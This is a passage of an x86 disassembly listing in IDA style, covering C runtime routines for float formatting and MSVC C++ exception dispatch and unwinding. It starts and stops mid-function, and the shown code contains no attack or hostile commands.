cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41DD68
mov eax, dword_4694FC
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_469504, ecx
setl cl
mov byte_469508, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_469504, eax
jl short loc_41A27E
cmp eax, ebx
jge short loc_41A27E
test cl, cl
jz short loc_41A26F
loc_41A265: ; CODE XREF: sub_41A1F8+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41A265
and [esi-2], al
loc_41A26F: ; CODE XREF: sub_41A1F8+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41A2BA
add esp, 0Ch
jmp short loc_41A28E
; ---------------------------------------------------------------------------
loc_41A27E: ; CODE XREF: sub_41A1F8+63j
; sub_41A1F8+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41A293
add esp, 10h
loc_41A28E: ; CODE XREF: sub_41A1F8+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A1F8 endp
; =============== S U B R O U T I N E =======================================
sub_41A293 proc near ; CODE XREF: sub_41A1F8+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_469500, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41A016
and byte_469500, 0
add esp, 10h
retn
sub_41A293 endp
; =============== S U B R O U T I N E =======================================
sub_41A2BA proc near ; CODE XREF: sub_41A1F8+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_469500, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41A11A
and byte_469500, 0
add esp, 0Ch
retn
sub_41A2BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A2DD proc near ; CODE XREF: sub_417D4C+3AAp
; DATA XREF: sub_415F53o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41A318
cmp [ebp+arg_8], 45h
jz short loc_41A318
cmp [ebp+arg_8], 66h
jnz short loc_41A305
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A11A
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A305: ; CODE XREF: sub_41A2DD+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A1F8
jmp short loc_41A329
; ---------------------------------------------------------------------------
loc_41A318: ; CODE XREF: sub_41A2DD+7j
; sub_41A2DD+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A016
loc_41A329: ; CODE XREF: sub_41A2DD+39j
add esp, 10h
pop ebp
retn
sub_41A2DD endp
; =============== S U B R O U T I N E =======================================
sub_41A32E proc near ; CODE XREF: sub_41A016+2Cp
; sub_41A11A+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41A351
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_415CF0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_416490
add esp, 10h
pop esi
loc_41A351: ; CODE XREF: sub_41A32E+7j
pop edi
retn
sub_41A32E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A353 proc near ; CODE XREF: .nsp0:00416134p
; sub_41619D+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41A369
call sub_41ABF2
loc_41A369: ; CODE XREF: sub_41A353+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41A391
cmp dword ptr [esi+4], 0
jz short loc_41A3E7
cmp [ebp+arg_14], 0
jnz short loc_41A3E7
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41A69A
add esp, 10h
jmp short loc_41A3E7
; ---------------------------------------------------------------------------
loc_41A391: ; CODE XREF: sub_41A353+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41A3E7
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41A3CB
cmp [eax+14h], edi
jbe short loc_41A3CB
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41A3CB
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41A3EA
; ---------------------------------------------------------------------------
loc_41A3CB: ; CODE XREF: sub_41A353+4Aj
; sub_41A353+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41A3EE
add esp, 20h
loc_41A3E7: ; CODE XREF: sub_41A353+23j
; sub_41A353+29j ...
push 1
pop eax
loc_41A3EA: ; CODE XREF: sub_41A353+76j
pop edi
pop esi
pop ebp
retn
sub_41A353 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A3EE proc near ; CODE XREF: sub_41A353+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41A40E
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41A413
loc_41A40E: ; CODE XREF: sub_41A3EE+16j
call sub_41ABF2
loc_41A413: ; CODE XREF: sub_41A3EE+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41A56A
cmp dword ptr [esi+10h], 3
jnz short loc_41A487
cmp [esi+14h], edi
jnz short loc_41A487
cmp dword ptr [esi+1Ch], 0
jnz short loc_41A487
mov esi, dword_46950C
test esi, esi
jz loc_41A565
mov eax, dword_469510
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_41DF66
pop ecx
test eax, eax
pop ecx
jnz short loc_41A469
call sub_41ABF2
loc_41A469: ; CODE XREF: sub_41A3EE+74j
cmp [esi], ebx
jnz loc_41A56A
cmp dword ptr [esi+10h], 3
jnz short loc_41A487
cmp [esi+14h], edi
jnz short loc_41A487
cmp dword ptr [esi+1Ch], 0
jnz short loc_41A487
call sub_41ABF2
loc_41A487: ; CODE XREF: sub_41A3EE+41j
; sub_41A3EE+46j ...
cmp [esi], ebx
jnz loc_41A56A
cmp dword ptr [esi+10h], 3
jnz loc_41A56A
cmp [esi+14h], edi
jnz loc_41A56A
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_4162EB
add esp, 14h
mov ebx, eax
loc_41A4BE: ; CODE XREF: sub_41A3EE+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41A555
cmp [ebx], edi
jg short loc_41A54A
cmp edi, [ebx+4]
jg short loc_41A54A
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41A547
loc_41A4E3: ; CODE XREF: sub_41A3EE+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41A514
loc_41A4F5: ; CODE XREF: sub_41A3EE+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41A63D
add esp, 0Ch
test eax, eax
jnz short loc_41A523
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41A4F5
loc_41A514: ; CODE XREF: sub_41A3EE+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41A4E3
jmp short loc_41A547
; ---------------------------------------------------------------------------
loc_41A523: ; CODE XREF: sub_41A3EE+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41A74E
add esp, 2Ch
loc_41A547: ; CODE XREF: sub_41A3EE+F3j
; sub_41A3EE+133j
mov edi, [ebp+var_10]
loc_41A54A: ; CODE XREF: sub_41A3EE+DEj
; sub_41A3EE+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41A4BE
; ---------------------------------------------------------------------------
loc_41A555: ; CODE XREF: sub_41A3EE+D6j
cmp [ebp+arg_14], 0
jz short loc_41A565
push 1
push esi
call sub_41AAC3
pop ecx
pop ecx
loc_41A565: ; CODE XREF: sub_41A3EE+56j
; sub_41A3EE+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A56A: ; CODE XREF: sub_41A3EE+37j
; sub_41A3EE+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41A590
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41A595
add esp, 20h
jmp short loc_41A565
; ---------------------------------------------------------------------------
loc_41A590: ; CODE XREF: sub_41A3EE+180j
jmp sub_41AB9C
sub_41A3EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A595 proc near ; CODE XREF: sub_41A3EE+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_469514, 0
push esi
push edi
jz short loc_41A5C6
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4161C2
add esp, 1Ch
test eax, eax
jnz short loc_41A639
loc_41A5C6: ; CODE XREF: sub_41A595+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_4162EB
add esp, 14h
mov esi, eax
loc_41A5E2: ; CODE XREF: sub_41A595+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_41A639
cmp edi, [esi]
jl short loc_41A631
cmp edi, [esi+4]
jg short loc_41A631
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_41A60B
cmp byte ptr [ecx+8], 0
jnz short loc_41A631
loc_41A60B: ; CODE XREF: sub_41A595+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A74E
add esp, 2Ch
loc_41A631: ; CODE XREF: sub_41A595+57j
; sub_41A595+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_41A5E2
; ---------------------------------------------------------------------------
loc_41A639: ; CODE XREF: sub_41A595+2Fj
; sub_41A595+53j
pop edi
pop esi
leave
retn
sub_41A595 endp
; =============== S U B R O U T I N E =======================================
sub_41A63D proc near ; CODE XREF: sub_41A3EE+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41A694
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41A694
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_41A66E
add ecx, 8
push ecx
push edx
call sub_415910
pop ecx
test eax, eax
pop ecx
jnz short loc_41A690
loc_41A66E: ; CODE XREF: sub_41A63D+1Fj
test byte ptr [esi], 2
jz short loc_41A678
test byte ptr [edi], 8
jz short loc_41A690
loc_41A678: ; CODE XREF: sub_41A63D+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41A687
test byte ptr [edi], 1
jz short loc_41A690
loc_41A687: ; CODE XREF: sub_41A63D+43j
test al, 2
jz short loc_41A694
test byte ptr [edi], 2
jnz short loc_41A694
loc_41A690: ; CODE XREF: sub_41A63D+2Fj
; sub_41A63D+39j ...
xor eax, eax
jmp short loc_41A697
; ---------------------------------------------------------------------------
loc_41A694: ; CODE XREF: sub_41A63D+Bj
; sub_41A63D+14j ...
push 1
pop eax
loc_41A697: ; CODE XREF: sub_41A63D+55j
pop edi
pop esi
retn
sub_41A63D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A69A proc near ; CODE XREF: sub_41A353+34p
; sub_41A74E+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4217F8
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_41A6CC: ; CODE XREF: sub_41A69A+8Aj
cmp esi, [ebp+arg_C]
jz short loc_41A726
cmp esi, 0FFFFFFFFh
jle short loc_41A6DB
cmp esi, [edi+4]
jl short loc_41A6E0
loc_41A6DB: ; CODE XREF: sub_41A69A+3Aj
call sub_41ABF2
loc_41A6E0: ; CODE XREF: sub_41A69A+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
jz short loc_41A6FB
push 103h
push ebx
push eax
call sub_41AB50
loc_41A6FB: ; CODE XREF: sub_41A69A+53j
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_41A71B
; ---------------------------------------------------------------------------
push [ebp+var_14]
call sub_41A738
pop ecx
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov esi, [ebp+var_1C]
loc_41A71B: ; CODE XREF: sub_41A69A+65j
mov eax, [edi+8]
mov esi, [eax+esi*8]
mov [ebp+var_1C], esi
jmp short loc_41A6CC
; ---------------------------------------------------------------------------
loc_41A726: ; CODE XREF: sub_41A69A+35j
mov [ebx+8], esi
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A69A endp
; =============== S U B R O U T I N E =======================================
sub_41A738 proc near ; CODE XREF: sub_41A69A+6Ap
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jz short loc_41A749
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41A749: ; CODE XREF: sub_41A738+Cj
jmp sub_41AB9C
sub_41A738 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A74E proc near ; CODE XREF: sub_41A3EE+151p
; sub_41A595+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
cmp [ebp+arg_18], 0
push ebx
mov ebx, [ebp+arg_14]
push esi
push edi
mov edi, [ebp+arg_4]
jz short loc_41A770
push [ebp+arg_18]
push ebx
push edi
push [ebp+arg_0]
call sub_41A8FF
add esp, 10h
loc_41A770: ; CODE XREF: sub_41A74E+10j
cmp [ebp+arg_24], 0
push [ebp+arg_0]
jnz short loc_41A77C
push edi
jmp short loc_41A77F
; ---------------------------------------------------------------------------
loc_41A77C: ; CODE XREF: sub_41A74E+29j
push [ebp+arg_24]
loc_41A77F: ; CODE XREF: sub_41A74E+2Cj
call sub_4160C4
mov esi, [ebp+arg_1C]
push dword ptr [esi]
push [ebp+arg_10]
push [ebp+arg_C]
push edi
call sub_41A69A
mov eax, [esi+4]
push 100h
push [ebp+arg_20]
inc eax
mov [edi+8], eax
push dword ptr [ebx+0Ch]
push [ebp+arg_10]
push [ebp+arg_8]
push edi
push [ebp+arg_0]
call sub_41A7C9
add esp, 2Ch
test eax, eax
jz short loc_41A7C4
push edi
push eax
call sub_416082
loc_41A7C4: ; CODE XREF: sub_41A74E+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41A74E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A7C9 proc near ; CODE XREF: sub_41A74E+63p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421808
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
xor ebx, ebx
mov [ebp+var_24], ebx
mov esi, [ebp+arg_4]
mov ecx, [esi-4]
mov [ebp+var_28], ecx
mov ecx, dword_46950C
mov [ebp+var_1C], ecx
mov ecx, dword_469510
mov [ebp+var_20], ecx
mov edi, [ebp+arg_0]
mov dword_46950C, edi
mov ecx, [ebp+arg_8]
mov dword_469510, ecx
mov [ebp+var_4], ebx
mov [ebp+var_4], 1
push [ebp+arg_18]
push [ebp+arg_14]
push eax
push [ebp+arg_C]
push esi
call sub_416149
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], ebx
or [ebp+var_4], 0FFFFFFFFh
call sub_41A88F
mov eax, [ebp+var_2C]
loc_41A856: ; CODE XREF: sub_41A86F+16j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A7C9 endp
; =============== S U B R O U T I N E =======================================
sub_41A865 proc near ; DATA XREF: .nsp0:00421818o
push dword ptr [ebp-14h]
call sub_41A8D5
pop ecx
retn
sub_41A865 endp
; =============== S U B R O U T I N E =======================================
sub_41A86F proc near ; DATA XREF: .nsp0:0042181Co
mov esp, [ebp-18h]
and dword ptr [ebp-2Ch], 0
push 0FFFFFFFFh
lea eax, [ebp-10h]
push eax
call sub_4163AA
pop ecx
pop ecx
xor eax, eax
jmp short loc_41A856
sub_41A86F endp
; ---------------------------------------------------------------------------
loc_41A887: ; DATA XREF: .nsp0:00421810o
xor ebx, ebx
mov esi, [ebp+0Ch]
mov edi, [ebp+8]
; =============== S U B R O U T I N E =======================================
sub_41A88F proc near ; CODE XREF: sub_41A7C9+85p
mov eax, [ebp-28h]
mov [esi-4], eax
mov eax, [ebp-1Ch]
mov dword_46950C, eax
mov eax, [ebp-20h]
mov dword_469510, eax
cmp dword ptr [edi], 0E06D7363h
jnz short locret_41A8D4
cmp dword ptr [edi+10h], 3
jnz short locret_41A8D4
cmp dword ptr [edi+14h], 19930520h
jnz short locret_41A8D4
cmp [ebp-24h], ebx
jnz short locret_41A8D4
cmp [ebp-2Ch], ebx
jz short locret_41A8D4
call sub_416412
push eax
push edi
call sub_41AAC3
pop ecx
pop ecx
locret_41A8D4: ; CODE XREF: sub_41A88F+1Cj
; sub_41A88F+22j ...
retn
sub_41A88F endp
; =============== S U B R O U T I N E =======================================
sub_41A8D5 proc near ; CODE XREF: sub_41A865+3p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41A8FC
cmp dword ptr [eax+10h], 3
jnz short loc_41A8FC
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41A8FC
cmp dword ptr [eax+1Ch], 0
jnz short loc_41A8FC
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A8FC: ; CODE XREF: sub_41A8D5+Cj
; sub_41A8D5+12j ...
xor eax, eax
retn
sub_41A8D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8FF proc near ; CODE XREF: sub_41A74E+1Ap
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421820
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ecx, [ebp+arg_8]
mov eax, [ecx+4]
test eax, eax
jz loc_41AAA8
cmp byte ptr [eax+8], 0
jz loc_41AAA8
mov eax, [ecx+8]
test eax, eax
jz loc_41AAA8
mov edx, [ebp+arg_4]
lea edi, [eax+edx+0Ch]
and [ebp+var_4], 0
test byte ptr [ecx], 8
jz short loc_41A99C
mov esi, [ebp+arg_0]
push 1
push dword ptr [esi+18h]
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
mov eax, [esi+18h]
mov [edi], eax
mov ecx, [ebp+arg_C]
add ecx, 8
push ecx
loc_41A98D: ; CODE XREF: sub_41A8FF+F5j
push eax
call sub_41AB2A
pop ecx
pop ecx
mov [edi], eax
jmp loc_41AAA4
; ---------------------------------------------------------------------------
loc_41A99C: ; CODE XREF: sub_41A8FF+57j
mov esi, [ebp+arg_C]
test byte ptr [esi], 1
jz short loc_41A9F6
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push dword ptr [esi+14h]
push dword ptr [ebx+18h]
push edi
call sub_416490
add esp, 0Ch
cmp dword ptr [esi+14h], 4
jnz loc_41AAA4
mov eax, [edi]
test eax, eax
jz loc_41AAA4
add esi, 8
push esi
jmp short loc_41A98D
; ---------------------------------------------------------------------------
loc_41A9F6: ; CODE XREF: sub_41A8FF+A3j
cmp dword ptr [esi+18h], 0
mov ebx, [ebp+arg_0]
push 1
push dword ptr [ebx+18h]
jnz short loc_41AA3E
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz short loc_41AA9F
push dword ptr [esi+14h]
add esi, 8
push esi
push dword ptr [ebx+18h]
call sub_41AB2A
pop ecx
pop ecx
push eax
push edi
call sub_416490
add esp, 0Ch
jmp short loc_41AAA4
; ---------------------------------------------------------------------------
loc_41AA3E: ; CODE XREF: sub_41A8FF+103j
call sub_41DF66
pop ecx
pop ecx
test eax, eax
jz short loc_41AA9F
push 1
push edi
call sub_41DF82
pop ecx
pop ecx
test eax, eax
jz short loc_41AA9F
push dword ptr [esi+18h]
call sub_41DF9E
pop ecx
test eax, eax
jz short loc_41AA9F
test byte ptr [esi], 4
jz short loc_41AA85
push 1
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41AB2A
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_4160BD
jmp short loc_41AAA4
; ---------------------------------------------------------------------------
loc_41AA85: ; CODE XREF: sub_41A8FF+168j
lea eax, [esi+8]
push eax
push dword ptr [ebx+18h]
call sub_41AB2A
pop ecx
pop ecx
push eax
push dword ptr [esi+18h]
push edi
call sub_4160B6
jmp short loc_41AAA4
; ---------------------------------------------------------------------------
loc_41AA9F: ; CODE XREF: sub_41A8FF+6Aj
; sub_41A8FF+7Cj ...
call sub_41ABF2
loc_41AAA4: ; CODE XREF: sub_41A8FF+98j
; sub_41A8FF+E1j ...
or [ebp+var_4], 0FFFFFFFFh
loc_41AAA8: ; CODE XREF: sub_41A8FF+2Ej
; sub_41A8FF+38j ...
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41A8FF endp
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41AB9C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AAC3 proc near ; CODE XREF: sub_41A3EE+170p
; sub_41A88F+3Ep
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421830
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
test eax, eax
jz short loc_41AB0A
mov ecx, [eax+1Ch]
mov ecx, [ecx+4]
test ecx, ecx
jz short loc_41AB0A
and [ebp+var_4], 0
push ecx
push dword ptr [eax+18h]
call sub_4160B6
or [ebp+var_4], 0FFFFFFFFh
loc_41AB0A: ; CODE XREF: sub_41AAC3+2Aj
; sub_41AAC3+34j
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41AAC3 endp
; ---------------------------------------------------------------------------
xor eax, eax
cmp [ebp+0Ch], al
setnz al
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
jmp sub_41AB9C
; =============== S U B R O U T I N E =======================================
sub_41AB2A proc near ; CODE XREF: sub_41A8FF+8Fp
; sub_41A8FF+12Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
mov eax, [ecx]
mov edx, [ecx+4]
add eax, esi
test edx, edx
jl short loc_41AB4B
mov esi, [edx+esi]
mov ecx, [ecx+8]
mov ecx, [esi+ecx]
add ecx, edx
add eax, ecx
loc_41AB4B: ; CODE XREF: sub_41AB2A+12j
pop esi
retn
sub_41AB2A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB50 proc near ; CODE XREF: sub_416149+40p
; sub_41A69A+5Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 4
push ebx
push ecx
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push ebp
push [ebp+arg_8]
mov ecx, [ebp+arg_8]
mov ebp, [ebp+var_4]
call sub_416435
push esi
push edi
call eax
pop edi
pop esi
mov ebx, ebp
pop ebp
mov ecx, [ebp+arg_8]
push ebp
mov ebp, ebx
cmp ecx, 100h
jnz short loc_41AB8F
mov ecx, 2
loc_41AB8F: ; CODE XREF: sub_41AB50+38j
push ecx
call sub_416435
pop ebp
pop ecx
pop ebx
leave
retn 0Ch
sub_41AB50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB9C proc near ; CODE XREF: sub_41A3EE:loc_41A590j
; sub_41A738:loc_41A749j ...
var_18 = dword ptr -18h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421840
push offset sub_41CE08
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
push ebx
push esi
push edi
mov [ebp+var_18], esp
and [ebp+var_4], 0
mov eax, dword_469518
test eax, eax
jz short loc_41ABE4
mov [ebp+var_4], 1
call eax
jmp short loc_41ABE0
; ---------------------------------------------------------------------------
loc_41ABD9: ; DATA XREF: .nsp0:00421850o
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41ABDD: ; DATA XREF: .nsp0:00421854o
mov esp, [ebp+var_18]
